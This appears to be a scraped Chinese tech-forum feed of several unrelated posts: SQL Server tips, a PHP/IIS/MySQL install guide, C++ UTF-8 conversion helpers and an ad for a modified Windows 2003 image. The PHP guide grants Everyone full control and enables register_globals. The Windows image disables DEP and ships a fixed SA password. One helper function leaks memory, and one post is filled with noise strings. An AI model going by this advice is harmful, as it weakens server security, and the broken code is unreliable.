注意:其他條件設(shè)置不變
 
兩個使用的函數(shù):
1,UTF8轉(zhuǎn)化為Unicode,inline為了編譯后更快運行,老用到了,返回字符串為了使用鏈?zhǔn)奖磉_(dá)式
inline WCHAR  *UTF8ToUnicode(const char *str) throw()
 {
  int i = MultiByteToWideChar(CP_UTF8,MB_ERR_INVALID_CHARS,str,-1,NULL,0);        
  WCHAR   *strUnicode=new   WCHAR[i];        
  MultiByteToWideChar(CP_UTF8,MB_ERR_INVALID_CHARS,str,-1,strUnicode,i);
  return strUnicode;
  delete []strUnicode;
 }
一定要返回WCHAR 或wchar_t類型,否則有些字符就會變成“?”,Unicode(UCS-2)是2個字節(jié)寬
 
2,Unicode轉(zhuǎn)化為UTF8,inline同上意義
inline char *UnicodeToUTF8(const WCHAR* pText) throw()
 {
  int i= WideCharToMultiByte(CP_UTF8
]]>
SQL Server技巧合集http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2527&Page=1wangxinxin2010-12-13 13:27:55SQL SERVER中對查詢結(jié)果隨機(jī)排序
問:怎樣才能對查詢結(jié)果隨機(jī)排序?
  答:對結(jié)果記錄隨機(jī)排序,或隨機(jī)返回X條記錄,可以通過在SELECT語句中使用RAND函數(shù)來實現(xiàn)。但是RAND函數(shù)在查詢中只生成一次,因此每一行都將得到相同的值。可以通過在ORDER BY子句中使用NEWID函數(shù)來對結(jié)果進(jìn)行排序的方法來實現(xiàn),代碼如下:
  SELECT *
  FROM Northwind..Orders
  ORDER BY NEWID()
  SELECT TOP 10 *
  FROM Northwind..Orders
  ORDER BY NEWID()
解決SQL Server 2000之日志傳送功能
一、殘余數(shù)據(jù)
     當(dāng)您進(jìn)行SQL Server 2000日志傳送的實驗時,也許偶而會中斷設(shè)定過程。如果真是如此,那么某些資料仍然會存入每臺服務(wù)器的日志傳送資料表,并且影響到后續(xù)的日志傳送設(shè)定動作。為了保證這些剩余資料都會被清除,請確實刪除每臺服務(wù)器msdb數(shù)據(jù)庫內(nèi)日志傳送資料表之相關(guān)資料。
    錯誤信息:
    Error 14261: The specified primary_server_name.primary_database_name ('N') already exists.
    Error 14426: A log shipping monitor is already defined (...)
    處理方法:
    必須手動執(zhí)行下面幾個存儲過程來刪除Log Shipping在數(shù)據(jù)庫中記錄的信息。
    1、sp_delete_log_shipping_primary
     刪除msdb.dbo.log_shipping_primary表中的Primary Server信息
    2、sp_delete_log_shipping_plan
     刪除Log Shipping計劃
    3、sp_delete_log_shipping_secondary
     刪除msdb.dbo.log_shipping_secondaries表中的Secondary Server信息
    4、sp_remove_log_shipping_monitor
     刪除Log Shipping監(jiān)視從表msdb.dbo.log_shipping_monitor
二、數(shù)據(jù)庫的模式
     如果正確設(shè)置了Log Shipping,但是沒有辦法正常執(zhí)行,在SQL Server的日志中可以看到類似這個信息和界面:
    Microsoft (R) SQLMaint Utility (Unicode), Version Logged on to SQL Server 'ZTAO-1' as 'ZTAO-1\Administrator' (trusted)
Starting maintenance plan 'LOG_Plan_9' on 2003-9-4 14:42:02
Backup can not be performed on database 'ERPLogShipping'. This sub task is ignored.
Deleting old text reports...        0 file(s) deleted.
End of maintenance plan 'LOG_Plan_9' on 2003-9-4 14:42:02
SQLMAINT.EXE Process Exit Code: 1 (Failed)


    可能是你沒有正確設(shè)置數(shù)據(jù)庫的模式,完整模式。


    三、Log文件存放路徑
    在MSDN上看過一篇文章說,同一臺電腦上再次設(shè)置Log Shipping時,不要使用相同的目錄存放Log文件。這個沒有考證過,只提一下,提醒大家!
數(shù)據(jù)庫考試簡介——微軟數(shù)據(jù)庫管理員 (MCDBA)
微軟認(rèn)證數(shù)據(jù)庫管理員 (MCDBA) 可獲得如下權(quán)益(2000 年 1 月 1 日生效):
  業(yè)界對您具備的微軟產(chǎn)品和技術(shù)的知識與熟練程度的認(rèn)可。
  在取得認(rèn)證的第一年內(nèi)訂閱全年 TechNet 或 TechNet Plus 享有預(yù)零售價的 50% 的折扣。(實行細(xì)節(jié)可能會隨著您的所在地點有所變化,請查看您的 Welcome Kit。)
  訂閱“微軟開發(fā)人員網(wǎng)絡(luò)”(MSDN?)在獲得認(rèn)證后的一年內(nèi),MCDBA 可以獲得一年的 MSDN 訂閱折扣.(實行細(xì)節(jié)可能會隨著您的所在地點有所變化,請查看您的 Welcome Kit。)MSDN 專業(yè)版的折扣額為 200 美元,MSDN Universal(通用版)的折扣為 500 美元。
  訂閱一年期 SQL Server Magazine。 SQL Server Magazine 是供 SQL Server 專家閱讀的首選資源。該雜志由業(yè)界的專家撰稿,包含了技術(shù)和實際技巧以及有關(guān)建議,是每位使用 SQL Server 人士的必備之物。通常全年的定價是 49.95 美元,對于 MCDBA 免費。
  通過 安全的 MCP Web 站點 直接從微軟公司獲得技術(shù)和產(chǎn)品信息。
  從部分公司獲得獨享的產(chǎn)品和服務(wù)折扣。現(xiàn)已通過認(rèn)證的個人可以通過訪問 MCP 安全站點 ,并單擊“其他權(quán)益”來獲取有關(guān)的獨享折扣信息。獲得最高級認(rèn)證的人員可以選擇“最高級權(quán)益”。
  MCDBA 徽標(biāo)、證書、成績單、皮夾卡、領(lǐng)帶夾向同事和客戶表明您的微軟認(rèn)證專家(MCP)身份。在認(rèn)證時可以從 MCP 安全 Web 站點 下載徽標(biāo)和成績單的電子文件。
  邀請參加微軟舉行的會議、技術(shù)培訓(xùn)會議以及特別活動。
  免費訪問 Microsoft Certified Professional Magazine Online (《微軟認(rèn)證專家在線雜志》 -- 一份有關(guān)職業(yè)生涯及專業(yè)前景展望的雜志)。 Microsoft Certified Professional Magazine Online Web 站點的安全內(nèi)容包括本期雜志(只有 MCP 才能訪問),其他僅在線發(fā)行的內(nèi)容和專欄,一個只對 MCP 開放的數(shù)據(jù)庫和與微軟和其他技術(shù)專家定期的在線技術(shù)討論。
  加入 PASS(SQL Server 專業(yè)協(xié)會)時享有折扣。除了在其中扮演重要角色外(這是唯一由用戶主持并經(jīng)過 Microsoft 批準(zhǔn)的全球性 SQL Server 用戶組),該協(xié)會的成員還能夠獨享各種教育機(jī)會。PASS 還邀請 MCP 利用 PASS 的表決資格,只需 50 美元即可享受會員的所有權(quán)益(比正常價格低 100 美元)。 請訪問 MCP 安全 Web 站點 了解有關(guān)如何獲得此項權(quán)益的詳細(xì)信息。
  MCDBA 要求
  微軟認(rèn)證數(shù)據(jù)庫管理員 (MCDBA) 報考人需要通過三門核心考試和一門選修考試,這些考試能夠有效和可靠地衡量實施和管理 Microsoft SQL Server數(shù)據(jù)庫的技術(shù)熟練和精通程度。

]]>
PHP論壇for Windows安裝http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2526&Page=1wangxinxin2010-12-13 13:26:35

 

 

準(zhǔn)備工作:
1.一臺系統(tǒng)為Windows Server版的計算機(jī)(我這里用的是Windows Server 2003 EE)
PHP論壇for Windows安裝 - Windows=
步驟:
1.將TCP/IP參數(shù)配置如下,并運行“sysocmgr /i:sysoc.inf”,打開Windows組件向?qū)?br/>PHP論壇for Windows安裝 - Windows=
2.勾上DNS和IIS點確定安裝
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
3. 安裝PHP
PHP我用的是PHP5.1.4版,所有工具都已經(jīng)打包,將PHP5.1.4壓縮包解壓縮至E盤的根目錄,改名為PHP,即 E:\PHP,并設(shè)置安全權(quán)限為Everone完全控制
PHP論壇for Windows安裝 - Windows=
4.將E盤PHP目錄下的16個.dll文件拷貝到C:\WINDOWS\system32目錄下,同時將PHP目錄中ext子目錄中的所有的文件也拷貝到 C:\WINDOWS\system32目錄下(我這里就搜索E:\PHP下的*.dll全部復(fù)制到C:\WINDOWS\system32下),設(shè)置權(quán)限為Everone完全控制
PHP論壇for Windows安裝 - Windows=
5.將PHP目錄中的PHP.exe PHP-win.exe PHP.ini-dist三個文件拷貝到C盤windows的目錄下,(如果是Win2000系統(tǒng),應(yīng)為C 盤的WINNT目錄下),將PHP.ini-dis改名為PHP.ini,設(shè)置權(quán)限為Everone完全控制
PHP論壇for Windows安裝 - Windows=
6.打開C:\windows下的PHP.ini,查找register_globals = off  改off為on
PHP論壇for Windows安裝 - Windows=
7.查找extension_dir =  將路徑指向PHP目錄中的ext目錄(即E:\PHP\ext)
PHP論壇for Windows安裝 - Windows=
8.查找下列語句,將其前面的 ; 符號去掉。這些語句幾乎是挨著的,不用逐個查找
;extension=php_dbase.dll
;extension=php_gd2.dll (用來支持GD庫,所以必須去掉)
;extension=php_ldap.dll
;extension=php_mbstring.dll (如果不去掉的話phpmyadmin會有紅色的提示)
;extension=php_mssql.dll  (支持MSSQL數(shù)據(jù)庫)
;extension=php_mysql.dll  (支持MYSQL數(shù)據(jù)庫)
最后保存即可
PHP論壇for Windows安裝 - Windows=
9.配置DNS服務(wù),目的就是為了用主機(jī)頭,讓一臺服務(wù)器多放幾個站,先新建一個站,并新建兩條A記錄如下
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
10.打開IIS 管理器,把Web服務(wù)擴(kuò)展全部起用
PHP論壇for Windows安裝 - Windows=
11. 打開 “網(wǎng)站屬性” ,“進(jìn)入“ISAPI篩選器”,點擊 “添加”――篩選器名稱:PHP,可執(zhí)行文件:E:\php\php5isapi.dll (盤符不同路徑也不同)
PHP論壇for Windows安裝 - Windows=
12. 回到“主目錄”――執(zhí)行權(quán)限為 “純腳本”――配置――映射――添加――可執(zhí)行文件:E:\php\php5isapi.dll擴(kuò)展名:.php(可千萬不要忘記那個小點)
PHP論壇for Windows安裝 - Windows=
13. 回到“文檔”添加一個 index.php,不然就無法訪問主頁了
PHP論壇for Windows安裝 - Windows=
14.重起IIS服務(wù),再打開“ISAPI篩選器”,可以看到PHP已經(jīng)加載了,綠色的箭頭向上
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
15.安裝MySQL Server 5.0數(shù)據(jù)庫,按默認(rèn)即可,需要修改的地方我已經(jīng)把圖貼出來了
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
為了安全起見,這里設(shè)置了密碼,等下在MySQL管理目錄要修改個文件,把密碼輸進(jìn)去
PHP論壇for Windows安裝 - Windows=
PHP論壇for Windows安裝 - Windows=
16.這個文件夾下是MySQL管理目錄,等下要配置成一個網(wǎng)站,這里也需要設(shè)置權(quán)限
PHP論壇for Windows安裝 - Windows=
17.新建一個站(即MySQL管理站)
PHP論壇for Windows安裝 - Windows= 
 
 19.瀏覽MySQL管理站,報一個密碼不對的錯誤,這是正常的
]]>
維護(hù)SQL Server的交易日志經(jīng)驗總結(jié)http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2525&Page=1wangxinxin2010-12-13 13:21:02
維護(hù)SQL Server的交易日志經(jīng)驗總結(jié)  ;d/K'h4{0d#u9@-q

-f0L&s+@(e#Q3x交易日志(Transaction logs)是數(shù)據(jù)庫結(jié)構(gòu)中非常重要但又經(jīng)常被忽略的部分。由于它并不像數(shù)據(jù)庫中的schema那樣活躍,因此很少有人關(guān)注交易日志。
"@6V/A;X$v8H1O5Z*r-b2C移動通信,通信工程師的家園,通信人才,求職招聘,網(wǎng)絡(luò)優(yōu)化,通信工程,出差住宿,通信企業(yè)黑名單mscbsc 移動通信論壇擁有30萬通信專業(yè)人員,超過50萬份GSM/3G等通信技術(shù)資料,是國內(nèi)領(lǐng)先專注于通信技術(shù)和通信人生活的社區(qū)。+B:C'E%e)w.V t;M
交易日志是針對數(shù)據(jù)庫改變所做的記錄,它可以記錄針對數(shù)據(jù)庫的任何操作,并將記錄結(jié)果保存在獨立的文件中。對于任何每一個交易過程,交易日志都有非常全面的記錄,根據(jù)這些記錄可以將數(shù)據(jù)文件恢復(fù)成交易前的狀態(tài)。從交易動作開始,交易日志就處于記錄狀態(tài),交易過程中對數(shù)據(jù)庫的任何操作都在記錄范圍,直到用戶點擊提交或后退后才結(jié)束記錄。每個數(shù)據(jù)庫都擁有至少一個交易日志以及一個數(shù)據(jù)文件。 )s4g+])f+g3z9r5Y
$J9Z)\0Z+C8e'y7}
出于性能上的考慮,SQL Server將用戶的改動存入緩存中,這些改變會立即寫入交易日志,但不會立即寫入數(shù)據(jù)文件。交易日志會通過一個標(biāo)記點來確定某個交易是否已將緩存中的數(shù)據(jù)寫入數(shù)據(jù)文件。當(dāng)SQL Server重啟后,它會查看日志中最新的標(biāo)記點,并將這個標(biāo)記點后面的交易記錄抹去,因為這些交易記錄并沒有真正的將緩存中的數(shù)據(jù)寫入數(shù)據(jù)文件。這可以防止那些中斷的交易修改數(shù)據(jù)文件。 移動通信,通信工程師的家園,通信人才,求職招聘,網(wǎng)絡(luò)優(yōu)化,通信工程,出差住宿,通信企業(yè)黑名單8T6f4X$A/K1G
;^5U e7W+s9W&K.C"h#S
維護(hù)交易日志
G;s&Z'p!]&\0~5M#Xmscbsc 移動通信論壇擁有30萬通信專業(yè)人員,超過50萬份GSM/3G等通信技術(shù)資料,是國內(nèi)領(lǐng)先專注于通信技術(shù)和通信人生活的社區(qū)。
;d*@)x9N9}&r4{)q+L&q&Awww.mscbsc.com因為很多人經(jīng)常遺忘交易日志,因此它也會給系統(tǒng)帶來一些問題。隨著系統(tǒng)的不斷運行,日志記錄的內(nèi)容會越來越多,日志文件的體積也會越來越大,最終導(dǎo)致可用磁盤空間不足。除非日常工作中經(jīng)常對日志進(jìn)行清理,否則日志文件最終會侵占分區(qū)內(nèi)的全部可用空間。日志的默認(rèn)配置為不限容量,如果以這種配置工作,它就會不斷膨脹,最終也會占據(jù)全部可用空間。這兩種情況都會導(dǎo)致數(shù)據(jù)庫停止工作。 www.mscbsc.com8o8\1X,k)P.r2W

0}(`,V:] S Q移動通信,通信工程師的家園,通信人才,求職招聘,網(wǎng)絡(luò)優(yōu)化,通信工程,出差住宿,通信企業(yè)黑名單對交易日志的日常備份工作可以有效的防止日志文件過分消耗磁盤空間。備份過程會將日志中不再需要的部分截除。截除的方法是首先把舊記錄標(biāo)記為非活動狀態(tài),然后將新日志覆蓋到舊日志的位置上,這樣就可以防止交易日志的體積不斷膨脹。如果無法對日志進(jìn)行經(jīng)常性的備份工作,最好將數(shù)據(jù)庫設(shè)置為"簡單恢復(fù)模式"。在這種模式下,系統(tǒng)會強(qiáng)制交易日志在每次記錄標(biāo)記點時,自動進(jìn)行截除操作,以新日志覆蓋舊日志。 移動通信,通信工程師的家園,通信人才,求職招聘,網(wǎng)絡(luò)優(yōu)化,通信工程,出差住宿,通信企業(yè)黑名單!Q j8E,p1v

-y-f,w,s#n |  國內(nèi)領(lǐng)先的通信技術(shù)論壇截除過程發(fā)生在備份或?qū)⑴f標(biāo)記點標(biāo)為非活動狀態(tài)時,它使得舊的交易記錄可以被覆蓋,但這并不會減少交易日志實際占用的磁盤空間。就算不再使用日志,它依然會占據(jù)一定的空間。因此在維護(hù)時,還需要對交易日志進(jìn)行壓縮。壓縮交易日志的方法是刪除非活動記錄,從而減少日志文件所占用的物理硬盤空間。
3w5z)E0R!u9E3J |  國內(nèi)領(lǐng)先的通信技術(shù)論壇
"a1w!o8\;o+l-Z1v通過使用DBCC SHRINKDATABASE語句可以壓縮當(dāng)前數(shù)據(jù)庫的交易日志文件,DBCC SHRINKFILE語句用來壓縮指定的交易日志文件,另外也可以在數(shù)據(jù)庫中激活自動壓縮操作。當(dāng)壓縮日志時,首先會將舊記錄標(biāo)記為非活動狀態(tài),然后將帶有非活動標(biāo)記的記錄徹底刪除。根據(jù)所使用的壓縮方式的不同,你可能不會立即看到結(jié)果。在理想情況下,壓縮工作應(yīng)該選在系統(tǒng)不是非常繁忙的時段進(jìn)行,否則有可能影響數(shù)據(jù)庫性能。 MSCBSC 移動通信論壇&b'x4J8l;G:m,C#M2h
|  國內(nèi)領(lǐng)先的通信技術(shù)論壇%Z6z8r4s%U4A'F6W
恢復(fù)數(shù)據(jù)庫 www.mscbsc.com8H._(s7T,s+@;Y(Q6K8f
www.mscbsc.com;f/W*j.r"`#u$W J'n$~0?
交易記錄備份可以用來將數(shù)據(jù)庫恢復(fù)到某一指定狀態(tài),但交易記錄備份本身不足以完成恢復(fù)數(shù)據(jù)庫的任務(wù),還需要備份的數(shù)據(jù)文件參與恢復(fù)工作。恢復(fù)數(shù)據(jù)庫時,首先進(jìn)行的是數(shù)據(jù)文件的恢復(fù)工作。在整個數(shù)據(jù)文件恢復(fù)完成前,不要將其設(shè)為完成狀態(tài),否則交易日志就不會被恢復(fù)。當(dāng)數(shù)據(jù)文件恢復(fù)完成,系統(tǒng)會通過交易日志的備份將數(shù)據(jù)庫恢復(fù)成用戶希望的狀態(tài)。如果在數(shù)據(jù)庫最后一次備份后,存在多個日志文件的備份,備份程序會按照它們建立的時間依次將其恢復(fù)。
2R)y)l1r.~9{4V2U+c/H%r1Ymscbsc 移動通信論壇擁有30萬通信專業(yè)人員,超過50萬份GSM/3G等通信技術(shù)資料,是國內(nèi)領(lǐng)先專注于通信技術(shù)和通信人生活的社區(qū)。
4J+D%}/y8e+K;I:y.F |  國內(nèi)領(lǐng)先的通信技術(shù)論壇另一種被稱為log shipping的過程可以提供更強(qiáng)的數(shù)據(jù)庫備份能力。當(dāng)log shipping配置好后,它可以將數(shù)據(jù)庫整個復(fù)制到另一臺服務(wù)器上。在這種情況下,交易日志也會定期發(fā)送到備份服務(wù)器上供恢復(fù)數(shù)據(jù)使用。這使得服務(wù)器一直處于熱備份狀態(tài),當(dāng)數(shù)據(jù)發(fā)生改變時它也隨之更新。另一個服務(wù)器被稱作監(jiān)視(monitor)服務(wù)器,可以用來監(jiān)視按規(guī)定時間間隔發(fā)送的shipping信號。如果在規(guī)定時間內(nèi)沒有收到信號,監(jiān)視服務(wù)器會將這一事件記錄到事件日志。這種機(jī)制使得log shipping經(jīng)常成為災(zāi)難恢復(fù)計劃中使用的方案。(T004)
]]>
石頭網(wǎng)絡(luò)科技Windows 2003 EE SP2 SQL數(shù)據(jù)庫集成版 A1.1http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2524&Page=1wangxinxin2010-12-13 13:17:15系統(tǒng)特點
一、本系統(tǒng)以微軟MSDN原版為基礎(chǔ),集成了安全漏洞補(bǔ)丁和系統(tǒng)組件更新,進(jìn)行了科學(xué)合理的優(yōu)化,從根本上保證了系統(tǒng)的安全性和穩(wěn)定性!
二、本系統(tǒng)未經(jīng)過任何精簡或者“減肥”,系統(tǒng)本身自帶的所有文件和組件都完整無缺,基本上百分百達(dá)到微軟原版系統(tǒng)的兼容性,不像其它修改版WIN2003那樣存在各種兼容性問題!
三、本系統(tǒng)既可以光盤安裝,也可以硬盤安裝;既可以自動安裝,也可以手動安裝;既可以在DOS下裝,也可以在WINDOWS或者WINPE下裝。完全支持目前最新的64位和多核CPU平臺,并且集成超大容量的SCSI、RAID、SATA磁盤控制器驅(qū)動,可以完美支持各種串口,并口硬盤和硬盤陣列。
四、本系統(tǒng)僅集成了瀏覽網(wǎng)頁必裝的Adobe Flash Player ActiveX控件,未集成任何第三方軟件,是完全純凈的版本。本系統(tǒng)絕對不存在任何垃圾插件或者流氓軟件,也不象某些“商業(yè)化”系統(tǒng)那樣,要么存留各種后門,要么以修改默認(rèn)搜索引擎或者強(qiáng)制綁定主頁的方式來愚弄用戶。本系統(tǒng)是安全、干凈的系統(tǒng),可以放心使用
系統(tǒng)介紹
一、本系統(tǒng)以追求穩(wěn)定性、易用性和兼容性為前提,只進(jìn)行了適當(dāng)和必要的優(yōu)化,包括:打開網(wǎng)頁認(rèn)證碼;調(diào)整IE同時下載線程數(shù)為10;自動終止無響應(yīng)程序,加快系統(tǒng)關(guān)機(jī)速度;徹底關(guān)閉Dr.WatSon;當(dāng)系統(tǒng)失敗時,不將事件寫入系統(tǒng)日志,不發(fā)送管理警報,不寫入調(diào)試信息,不重新啟動;安裝驅(qū)動時不搜索WindowsUpdate;當(dāng)文件沒有關(guān)聯(lián)的打開程序時,禁止從網(wǎng)絡(luò)上搜索打開類型;在桌面上顯示“我的電腦/網(wǎng)上鄰居/我的文檔/IE瀏覽器”;記事本默認(rèn)自動換行;刪除圖標(biāo)快捷方式的字樣;關(guān)閉信使服務(wù);禁用錯誤報告;禁止遠(yuǎn)程注冊表服務(wù)和遠(yuǎn)程修改注冊表;關(guān)閉時間同步;退出程序時自動清理內(nèi)存中的DLL文件;關(guān)閉關(guān)機(jī)事件追蹤;禁用Ctrl+Alt+Del三鍵登錄;打開顯卡硬件加速和Direct3D加速;打開主題服務(wù);打開聲音服務(wù);破解Tcpip的最大半開連接數(shù)為65536;破解第三方主題限制;添加視頻解碼組件;添加DirectX音樂組件和控制面板組件;添加用戶帳號控制面板;關(guān)閉數(shù)據(jù)執(zhí)行保護(hù);對雙核CPU平臺進(jìn)行性能優(yōu)化。

二、無論采用哪種安裝方式,安裝前請務(wù)必對硬盤進(jìn)行殺毒。本光盤絕對不會包含任何病毒、木馬或者流氓軟件,作者可以保證在裝好系統(tǒng)之后,系統(tǒng)是完全干凈的。
三、本系統(tǒng)集成了SQL SERVER2000數(shù)據(jù)庫和SP4補(bǔ)丁,數(shù)據(jù)庫SA密碼為XPSTONE,請安裝后自行修改數(shù)據(jù)庫密碼,系統(tǒng)并已安裝好IIS組件,讓您安裝更快速,更省心
但是這不代表安裝完成的系統(tǒng)不會被病毒感染。特別是如果原來的舊系統(tǒng)已經(jīng)中毒了,硬盤上面有病毒或者木馬文件,那么安裝之后新系統(tǒng)受感染的危險性很大。因此作者建議在安裝過程中拔掉網(wǎng)線,系統(tǒng)裝好之后先裝殺毒軟件和防火墻,再對硬盤上的分區(qū)或文件進(jìn)行訪問。
]]>
數(shù)據(jù)庫事務(wù)控制的實現(xiàn)位置:服務(wù)器VS客戶端,請大家討論http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2523&Page=1wangxinxin2010-12-13 13:13:08這段時間開始有幸學(xué)習(xí)了ado.net訪問數(shù)據(jù)庫的一些內(nèi)容。我開始思考一個有關(guān)數(shù)據(jù)庫事務(wù)控制的問題。ado.net中的SqlTransaction 類可以為數(shù)據(jù)庫訪問提供事務(wù)的支持。你可以打開一個數(shù)據(jù)庫聯(lián)接,然后在這個聯(lián)接上啟動一個事務(wù)(啟動事務(wù)相當(dāng)于T-SQL的begin transaction語句),在這個啟動了事務(wù)的數(shù)據(jù)庫聯(lián)接上你可以添加并執(zhí)行若干數(shù)據(jù)庫訪問命令,然后根據(jù)命令的執(zhí)行情況決定提交或者回滾事務(wù)。這使得通過ado.net訪問數(shù)據(jù)庫的應(yīng)用程序可以實現(xiàn)數(shù)據(jù)庫的事務(wù)控制。

另一方面,T-SQL同樣提供了數(shù)據(jù)庫的事務(wù)控制,這是眾所周知的。通常,數(shù)據(jù)庫設(shè)計人員常說,把數(shù)據(jù)的訪問控制放在離數(shù)據(jù)最近的地方才是最安全的,比如我們設(shè)計數(shù)據(jù)庫時,在數(shù)據(jù)表上實現(xiàn)的唯一約束、check約束、觸發(fā)器等等都是基于這種設(shè)計思想的。類似ado.net這種的數(shù)據(jù)庫訪問技術(shù)也提供了對數(shù)據(jù)庫事務(wù)的支持,但是按照“把數(shù)據(jù)的訪問控制放在離數(shù)據(jù)最近的地方才是最安全的”的思想,我們有更好的選擇方式。比如,我們可以設(shè)計數(shù)據(jù)庫存儲過程,由存儲過程提供事務(wù)控制,并只允許數(shù)據(jù)庫客戶端訪問數(shù)據(jù)庫時去執(zhí)行存儲過程。這樣一來,似乎就沒有使用ado.net、ado、oledb等等這些數(shù)據(jù)庫訪問技術(shù)提供的支持事務(wù)的API接口的必要了。但是,我想未必是這樣的,既然有這些API接口存在,肯定是有它的必要性的。

我現(xiàn)在想讓大家討論一下,你們在實際應(yīng)用中使用過某種數(shù)據(jù)庫訪問技術(shù)的事務(wù)功能嗎?這種應(yīng)用是在什么請況下比較有價值呢?]]>
SQL Server 2005全文檢索技術(shù)http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2522&Page=1wangxinxin2010-12-13 13:11:561.  前言
7 N) U. z& C# O/ k2 f/ X" T( X  ]: a8 N6 O0 \
    1.1 應(yīng)用背景 6 I+ x/ V  e+ ?9 k% C" @
  D$ x8 ^; i: n5 ]
隨著我國zhengfu和企業(yè)信息化的快速普及和發(fā)展,來自于供應(yīng)鏈、企業(yè)生產(chǎn)系統(tǒng)、辦公自動化(或公文行文)系統(tǒng)、人事績效系統(tǒng)、財務(wù)管理系統(tǒng)等無一不在積累著各類數(shù)據(jù)。不僅如此,來自于企業(yè)門戶網(wǎng)站、通過各種手持移動設(shè)備傳遞的會議通知、保存在業(yè)務(wù)員筆記本和PDA中的離線產(chǎn)品報價和短期個人銷售信息也不一而足。可以說信息無處不在、無時不在、無設(shè)備不在,但是它們是否可以在您的手中,即zhengfu和企業(yè)的信息系統(tǒng)是否可以把員工需要的信息呈送到他們的指尖之下,這恐怕是另一回事了。信息化普遍實施后,數(shù)據(jù)獲取方式、獲取手段的局限,是國內(nèi)信息化建設(shè)主要面臨的尷尬現(xiàn)狀。 6 Z9 F& r6 K3 D& F

圖片點擊可在新窗口打開查看

圖1:Your Data,Any Where、Any Time、Any Device. But not on your finger.

    1.2 主要檢索技術(shù)的區(qū)別
) s- d; p) S3 f1 d7 M* @& F$ m0 C. B% @7 h
    有了數(shù)據(jù)但是沒有被使用,那么這些數(shù)據(jù)不應(yīng)該被稱為信息。它們無非是不斷充斥設(shè)備和網(wǎng)絡(luò)的比特而已,但是如何把數(shù)據(jù)提供給必要的人員,檢索技術(shù)是其中非常有效的途徑之一。本文筆者主要基于微軟平臺,針對SQL Server 2005提供的全文檢索技術(shù)進(jìn)行介紹。與關(guān)系數(shù)據(jù)查詢、多維數(shù)據(jù)庫查詢和基于XML的XQuery、XPath不同,全文檢索技術(shù)主要處理對象是基于超大數(shù)據(jù)量的文本數(shù)據(jù)和結(jié)構(gòu)化的二進(jìn)制數(shù)據(jù)上類似LIKE的模糊查詢。主要區(qū)別見下表。  

關(guān)系數(shù)據(jù)庫查詢 多維數(shù)據(jù)查詢 XML查詢 全文檢索
檢索技術(shù) SQL MDX XQuery、XPath SQL (extension)
主要處理對象 關(guān)系二維數(shù)據(jù) 結(jié)構(gòu)化多維數(shù)據(jù) 層次型數(shù)據(jù) 大容量二維和層次型數(shù)據(jù)的模糊檢索
主要應(yīng)用領(lǐng)域 一般的OLTP類應(yīng)用 一般的OLAP類分析型應(yīng)用 面向Internet、Intranet的松散耦合SOA應(yīng)用 企業(yè)內(nèi)部知識管理類應(yīng)用
索引 大量使用非聚簇索引,一般保存在數(shù)據(jù)庫中。 通過層次型、保存中間結(jié)果的方式,通過不同的軸向快速定位信息剖面。 基于XPath的索引,索引一般保存在數(shù)據(jù)庫中。 基于關(guān)鍵字的索引,保存在文件系統(tǒng)中。每個表僅支持一個索引。

表1:全文檢索與關(guān)系數(shù)據(jù)庫查詢、多維數(shù)據(jù)查詢、XML查詢的對比

]]>
c#本地和遠(yuǎn)程連接數(shù)據(jù)庫SQLhttp://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2521&Page=1wangxinxin2010-12-13 13:10:54SQlserver組->新建sqlserver注冊->下一步->寫入遠(yuǎn)程IP->     下一步->選Sqlserver登陸-

         >下一步->寫入登陸名與密碼(sa,password)->下一 步->下一步->完成 查詢分析器->文件->連接->寫

        入遠(yuǎn)程IP->寫入登錄名和密碼(sa,password)->確     定
         通常建議在查詢分析器里做,因為默認(rèn)情況下,通過企業(yè)管理器注冊另外一臺SQL Server的超時設(shè)置

         是4秒,而查詢分析器是15秒。
       修改默認(rèn)連接超時的方法:
        企業(yè)管理器->工具->選項->在彈出的"SQL Server企業(yè)管理器屬性"窗口中,點擊"高級"選項卡->連接設(shè)

         置->在登錄超時(秒) 后面的框里輸入一個較大的數(shù)字
       查詢分析器->工具->選項->連接->在登錄超時(秒) 后面的框里輸入一個較大的數(shù)     字
         通常就可以連通了,如果提示錯誤,則進(jìn)入下一步。

]]>
SQL高級使用數(shù)據(jù)庫http://www.hufushizhe.com/bbs/dispbbs.asp?BoardID=67&ID=2520&Page=1wangxinxin2010-12-13 13:08:33SQL高級使用
SELECT高級查詢
錯誤處理
事務(wù)處理
數(shù)據(jù)的鎖定
游標(biāo)
1.SELECT高級查詢
前面已經(jīng)介紹了SELECT語句的用法,本節(jié)主要介紹數(shù)據(jù)匯總、聯(lián)接查詢、子查詢和關(guān)鍵詞UNION的使用。
(1)數(shù)據(jù)匯總
為決策支持系統(tǒng)生成聚合事務(wù)的匯總報表是一項復(fù)雜并且相當(dāng)消耗資源的工作。SQL Server 2000提供兩個靈活且強(qiáng)大的組件,用于生成SQL Server 2000 Analysis Services。這些組件是程序員在執(zhí)行SQL Server數(shù)據(jù)的多維分析時應(yīng)當(dāng)使用的主要工具。這兩個組件為:
    數(shù)據(jù)轉(zhuǎn)換服務(wù)(DTS)。DTS支持提取事務(wù)數(shù)據(jù)并將這些數(shù)據(jù)轉(zhuǎn)換到數(shù)據(jù)倉庫或數(shù)據(jù)集合中的匯總聚合中。
    MS SQL Server Analysis Services。這組組件將數(shù)據(jù)倉庫中的數(shù)據(jù)組織到含有預(yù)先計算好的匯總信息的多維數(shù)據(jù)集中,以對復(fù)雜的分析查詢提供快速響應(yīng)。Analysis Services還提供一套向?qū)В糜诙x分析處理過程中所用的多維結(jié)構(gòu),并提供用于管理分析結(jié)構(gòu)的Microsoft管理控制臺管理單元。
但是對于生成簡單匯總報表的應(yīng)用程序,可使用下列T-SQL元素:
